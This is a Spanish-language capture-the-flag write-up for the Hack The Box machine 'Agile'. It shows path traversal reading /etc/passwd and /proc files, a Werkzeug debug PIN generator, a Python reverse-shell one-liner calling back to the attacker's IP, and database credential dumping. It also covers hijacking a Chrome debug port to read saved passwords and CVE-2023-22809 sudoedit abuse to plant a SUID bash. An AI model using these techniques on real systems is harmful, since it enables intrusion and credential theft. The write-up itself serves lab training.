Description

Agile es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Cruce de directoriso en aplicación web con depuración activada en Werkzeug llevando a la ejecución de comandos remotos
  • Pivote de usuario mediante credenciales filtradas en la base de datos de contraseñas
  • Pivote de usuario mediante la observación e interacción con la sesión de Selenium
  • Escalada de privilegios a través de una modificación del script de inicialización de virtualenv en Python con una vulnerabilidad de SUDO

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.203.

$ ping -c 3 10.10.11.203
PING 10.10.11.203 (10.10.11.203) 56(84) bytes of data.
64 bytes from 10.10.11.203: icmp_seq=1 ttl=63 time=43.0 ms
64 bytes from 10.10.11.203: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.203: icmp_seq=3 ttl=63 time=43.1 ms

--- 10.10.11.203 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.039/43.213/43.459/0.178 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.203 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.203
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.203 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.203
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds

Obtenemos tres servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio superpass.htb al archivo /etc/hosts.

$ echo '10.10.11.203 superpass.htb' | sudo tee -a /etc/hosts

Enumerando la página web, encontramos un gestor de contraseñas web en el que podemos crear una cuenta y iniciar sesión. Después de crear una cuenta podemos agregar una nueva contraseña. Se genera una contraseña hexadecimal aleatoria. Podemos guardarlo haciendo clic en el icono Save. Podemos exportar las contraseñas haciendo clic en el botón Export y luego el archivo superpass_export.csv se descarga desde el endpoint /vault/export que se redirige a /download?fn=user_export_980dec9f79.csv.

Explotación

En el endpoint anterior, el archivo user_export_980dec9f79.csv se especifica con el parámetro fn. Vamos a comprobarel cruce de directorios, para recuperar el archivo /etc/passwd y obtener los usuarios de la terminal.

$ curl -s -b 'session=.eJwlzjkOwkAMAMC_bE2xl9d2PhP5FLQJqRB_JxL9FPMpex5xPsv2Pq54lP3lZSvYBjFCdHSICU1dwNCUUaalkLrXdGxmBMZNKASojVW12ow-wHtKsE9k6HqbIJxVBTG19eh1zUGivNTQNSxrH-Y8JJdPsFXuyHXG8d9w-f4AGuYwnA.aPLWqw.hXY3iPCQVgfh4-XElvgqo1BPXRY' 'http://superpass.htb/download?fn=../etc/passwd' | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash

Funciona. Encontramos como usuarios de la terminal: rootcorumrunneredwards, y dev_admin. Si introducimos un parámetro inválido, recibimos la traza de depuración del servidor Werkzeug de Python. De esta vista es posible obtener la ejecución remota de comandos, pero cuando hacemos clic en cualquiera de las líneas de código para desplegar una consola interactiva, la aplicación nos solicita un código PIN. Teniendo acceso al sistema de archivos, es trivial generar el código PIN, como se explica en HackTricks. Necesitamos recopilar algunas variables del sistema. En primer lugar necesitamos el username del usuario que inició la aplicación Flask. En este caso consultaremos el archivo /proc/self/environ.

$ curl -o - -b 'session=.eJwlzjkOwkAMAMC_bE2xl9d2PhP5FLQJqRB_JxL9FPMpex5xPsv2Pq54lP3lZSvYBjFCdHSICU1dwNCUUaalkLrXdGxmBMZNKASojVW12ow-wHtKsE9k6HqbIJxVBTG19eh1zUGivNTQNSxrH-Y8JJdPsFXuyHXG8d9w-f4AGuYwnA.aPLWqw.hXY3iPCQVgfh4-XElvgqo1BPXRY' 'http://superpass.htb/download?fn=../proc/self/environ'
LANG=C.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=/var/wwwLOGNAME=www-dataUSER=www-dataINVOCATION_ID=6429fa70b2bf448b8933419f8fa27b97JOURNAL_STREAM=8:32951SYSTEMD_EXEC_PID=1088CONFIG_PATH=/app/config_prod.json

Encontramos que la aplicación está siendo ejecutada por el usuario www-data. El siguiente fragmento que necesitamos es el modname. Tomaremos el valor predeterminado flask.app. Luego, como nombre predeterminado de la aplicación utilizaremos wsgi_app. Y como vimos en la captura de pantalla, el archivo app.py de la aplicación Flask se encuentra en el archivo /app/venv/lib/python3.10/site-packages/flask/app.py.

Entonces necesitamos los bits privados de la máquina. Primero necesitamos la dirección MAC decimal de la máquina. Consultaremos el /proc/arp para listar los nombres de las interfaces y luego usaremos la ruta /sys/class/net/<device id>/address para obtener la dirección MAC. Finalmente imprimimos el valor decimal con un script en Python.

$ curl -o - -b 'session=.eJwlzjkOwkAMAMC_bE2xl9d2PhP5FLQJqRB_JxL9FPMpex5xPsv2Pq54lP3lZSvYBjFCdHSICU1dwNCUUaalkLrXdGxmBMZNKASojVW12ow-wHtKsE9k6HqbIJxVBTG19eh1zUGivNTQNSxrH-Y8JJdPsFXuyHXG8d9w-f4AGuYwnA.aPLWqw.hXY3iPCQVgfh4-XElvgqo1BPXRY' 'http://superpass.htb/download?fn=../proc/net/arp'     
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.2       0x1         0x2         00:50:56:b9:10:14     *        eth0
$ curl -o - -b 'session=.eJwlzjkOwkAMAMC_bE2xl9d2PhP5FLQJqRB_JxL9FPMpex5xPsv2Pq54lP3lZSvYBjFCdHSICU1dwNCUUaalkLrXdGxmBMZNKASojVW12ow-wHtKsE9k6HqbIJxVBTG19eh1zUGivNTQNSxrH-Y8JJdPsFXuyHXG8d9w-f4AGuYwnA.aPLWqw.hXY3iPCQVgfh4-XElvgqo1BPXRY' 'http://superpass.htb/download?fn=../sys/class/net/eth0/address'
00:50:56:94:53:c9
$ python                                             
Python 3.13.7 (main, Aug 20 2025, 22:17:40) [GCC 14.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x0050569453c9)
345049945033

Obtenemos el valor decimal de 345049945033. Para el último valor necesitamos obtener el valor de un archivo /etc/machine-id o /proc/sys/kernel/random/boot_id. Y luego agregar el contenido del archivo /proc/self/cgroup, después del último carácter /.

$ curl -o - -b 'session=.eJwlzjkOwkAMAMC_bE2xl9d2PhP5FLQJqRB_JxL9FPMpex5xPsv2Pq54lP3lZSvYBjFCdHSICU1dwNCUUaalkLrXdGxmBMZNKASojVW12ow-wHtKsE9k6HqbIJxVBTG19eh1zUGivNTQNSxrH-Y8JJdPsFXuyHXG8d9w-f4AGuYwnA.aPLWqw.hXY3iPCQVgfh4-XElvgqo1BPXRY' 'http://superpass.htb/download?fn=../etc/machine-id'
ed5b159560f54721827644bc9b220d00
╭─r@k ~/htb/0extra/agile 
╰─$ curl -o - -b 'session=.eJwlzjkOwkAMAMC_bE2xl9d2PhP5FLQJqRB_JxL9FPMpex5xPsv2Pq54lP3lZSvYBjFCdHSICU1dwNCUUaalkLrXdGxmBMZNKASojVW12ow-wHtKsE9k6HqbIJxVBTG19eh1zUGivNTQNSxrH-Y8JJdPsFXuyHXG8d9w-f4AGuYwnA.aPLWqw.hXY3iPCQVgfh4-XElvgqo1BPXRY' 'http://superpass.htb/download?fn=../proc/self/cgroup'
0::/system.slice/superpass.service

Obtenemos el valor ed5b159560f54721827644bc9b220d00superpass.service. Ahora usamos un script para generar el código PIN.

import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',  # username
    'flask.app',  # modname
    'wsgi_app',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '345049945033',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

Generamos el PIN.

$ python generate_pin.py
303-637-279

Introducimos el código PIN 303-637-279. No se muestra ningún error y ahora podemos introducir un comando para generar una terminal inversa. Comenzamos un puerto de escucha en 1234 como nc -nvlp 1234. Y podemos usar la carga útil de la terminal inversa desde RevShells.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

Recibimos la terminal inversa como el usuario www-data. La actualizamos.

$ nc -nvlp 1234       
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.203] 36254
(venv) www-data@agile:/app/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
(venv) www-data@agile:/app/app$ ^Z
$ stty raw -echo; fg
$ reset xterm
(venv) www-data@agile:/app/app$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos la cadena de conexión a la base de datos en el archivo /app/config_prod.json.

(venv) www-data@agile:/app/app$ cat /app/config_prod.json 
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

Nos conectamos a la base de datos y extraemos información valiosa.

(venv) www-data@agile:/app/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' -h 127.0.0.1 superpass
...
mysql> show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords           |
| users               |
+---------------------+
...
mysql> select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)

Obtenemos la contraseña para corum, observamos previamente que el usuario de la terminal existe, 5db7caa1d13cc37c9fc2 para la URL agile. La contraseña se reutiliza para el usuario Linux y podemos iniciar sesión utilizando SSH.

$ ssh corum@superpass.htb
...
corum@agile:~$ id
uid=1000(corum) gid=1000(corum) groups=1000(corum)

Iniciamos sesión como el usuario corum. Encontramos lo que parece una versión de prueba de la aplicación superpass en el directorio /app/app-testing.

corum@agile:~$ ls -l /app/app-testing/
total 24
-rw-r--r-- 1 runner runner  128 Jan 23  2023 README.md
drwxr-xr-x 2 runner runner 4096 Jan 25  2023 __pycache__
-rw-r--r-- 1 runner runner   95 Jan 23  2023 requirements.txt
drwxr-xr-x 9 runner runner 4096 Mar  7  2023 superpass
drwxr-xr-x 3 runner runner 4096 Feb  6  2023 tests
-rw-r--r-- 1 runner runner   73 Jan 23  2023 wsgi-dev.py

Encontramos un script para probar automáticamente el sitio web en la ruta tests/functional.

corum@agile:~$ ls -l /app/app-testing/tests/
total 4
drwxr-xr-x 3 runner runner 4096 Feb  7  2023 functional
corum@agile:~$ ls -l /app/app-testing/tests/functional/
total 12
drwxrwxr-x 2 runner    runner 4096 __pycache__
-rw-r----- 1 dev_admin runner   34 creds.txt
-rw-r--r-- 1 runner    runner 2663 test_site_interactively.py

No podemos leer el contenido del archivo creds.txt ya que solo es legible por los usuarios del grupo runner o el usuario dev_admin. Pero podemos leer el archivo test_site_interactively.py.

corum@agile:~$ cat /app/app-testing/tests/functional/test_site_interactively.py 
import os
import pytest
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait


with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
    username, password = f.read().strip().split(':')
    
    
@pytest.fixture(scope="session")
def driver():
    options = Options()
    #options.add_argument("--no-sandbox")
    options.add_argument("--window-size=1420,1080")
    options.add_argument("--headless")
    options.add_argument("--remote-debugging-port=41829")
    options.add_argument('--disable-gpu')
    options.add_argument('--crash-dumps-dir=/tmp')
    driver = webdriver.Chrome(options=options)
    yield driver
    driver.close()
...

Encontramos que está utilizando el driver de Chrome de Selenium para probar manualmente las funcionalidades del sitio web. El navegador de Chrome de prueba abre un puerto de depuración en el puerto 41829. Confirmamos esto al listar los puertos abiertos.

corum@agile:~$ ss -tulnp
Netid          State           Recv-Q          Send-Q                   Local Address:Port                      Peer Address:Port          Process          
...
tcp            LISTEN          0               10                           127.0.0.1:41829                          0.0.0.0:*                              
...

A medida que el navegador ingresa manualmente las credenciales, podemos conectar al navegador de depuración para inspeccionar qué credenciales se están enviando. Para ello, primero realizamos un forwarding de puerto.

$ ssh -N -L 41829:127.0.0.1:41829 corum@superpass.htb

Entonces en nuestro navegador Chrome abrimos la URL chrome://inspect/#devices para Configurar... un nuevo network target, en este caso localhost:41829. El objetivo está configurado correctamente: Podemos hacer clic en el botón Inspect para obtener una instantánea en tiempo real del proceso de depuración. Podemos interactuar con el sitio web y hacer clic en la pestaña Vault para verificar las contraseñas guardadas. Para el usuario edwards encontramos la contraseña d07867c6267dcb5df0af. Podemos pivotar a esta cuenta utilizando el protocolo SSH.

$ ssh edwards@superpass.htb
edwards@agile:~$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)

Encontramos que edwards puede ejecutar dos comandos como usuario dev_admin.

edwards@agile:~$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

El usuario puede editar el archivo /app/config_test.json y /app/app-testing/tests/functional/creds.txt. Para el primer archivo obtenemos la siguiente cadena de conexión a la base de datos:

edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json
{
    "SQL_URI": "mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"
}
edwards@agile:~$ sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt

Y para el segundo archivo obtenemos las edwards:1d7ffjwrx#$d6qn!9nndqgde4 credenciales. La versión de sudo utilizada es la 1.9.9.

edwards@agile:~$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

Esta versión es vulnerable a CVE-2023-22809. En Sudo antes de 1.9.12p2, la característica sudoedit (también conocida como -e) maneja incorrectamente los argumentos adicionales pasados en las variables de entorno proporcionadas por el usuario (SUDO_EDITOR, VISUAL y EDITOR), permitiendo a un atacante local agregar entradas arbitrarias a la lista de archivos para procesar.

Esto significa que el usuario edwards podría modificar cualquier archivo que dev_admin pueda editar. Al revisar la variable $PATH encontramos que estamos dentro de un entorno virtual de Python, /app/venv.

edwards@agile:~$ echo $PATH
/app/venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Comprobamos que los otros usuarios también tienen esta condición. Esto significa que si el usuario root inicia sesión, se ejecutará el archivo /app/venv/bin/activate, permitiendo la ejecución de comandos como el usuario root. Solo el usuario dev_admin puede editar el archivo.

edwards@agile:~$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 /app/venv/bin/activate

activate es un script Bash que podemos editar con la vulnerabilidad anterior para incluir una frase que creará un binario Bash SUID en el directorio /tmp tal como: cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash.

EDITOR='nano -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json

Después de unos segundos el comando se ejecutará y desplegará una terminal root.

edwards@agile:~$ ls /tmp/suid-bash
/tmp/suid-bash
edwards@agile:~$ /tmp/suid-bash -p
edwards@agile:~# id
uid=1002(edwards) gid=1002(edwards) euid=0(root) groups=1002(edwards)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

edwards@agile:~# cat /home/corum/user.txt 
<REDACTED>
edwards@agile:~# cat /root/root.txt 
<REDACTED>